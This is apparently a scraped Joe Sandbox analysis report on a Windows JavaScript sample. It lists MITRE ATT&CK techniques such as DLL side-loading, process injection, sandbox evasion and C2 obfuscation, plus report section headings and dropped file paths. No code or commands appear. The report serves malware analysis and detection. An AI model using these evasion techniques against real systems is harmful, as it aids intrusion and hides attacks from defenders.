Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 3097128047142338539.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\ad298c1e-964b-4fa8-8757-ff2b69ed4e58.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7544

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Windows Analysis Report
3097128047142338539.js